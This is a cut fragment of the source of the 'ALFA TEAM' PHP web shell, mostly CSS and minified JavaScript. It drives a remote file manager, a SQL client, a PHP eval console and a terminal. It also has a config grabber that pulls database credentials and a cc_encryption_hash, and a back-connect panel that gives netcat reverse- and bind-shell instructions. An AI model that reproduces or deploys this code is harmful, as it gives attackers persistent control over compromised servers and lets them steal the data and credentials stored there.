a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php 
        echo "\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}\r\n#a_loader img{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:\"Comic Sans MS\";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:" . alfa_getColor("header_values") . ';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? '0' : '1') . 'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(' . __showicon('btn') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;' . (!@is_writable($GLOBALS['cwd']) ? '}.dir{background-color:red;}' : '}') . '.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}' . alfaCssLoadColors() . '
</style>';
        echo "<script type='text/javascript'>\r\nvar c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\nvar a_ = '" . htmlspecialchars(@$_POST['a']) . "';\r\nvar charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\nvar islinux = " . ($GLOBALS['sys'] != "win" ? 'true' : 'false') . ";\r\nvar post_encryption_mode = " . "true" . ";";
        ?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function 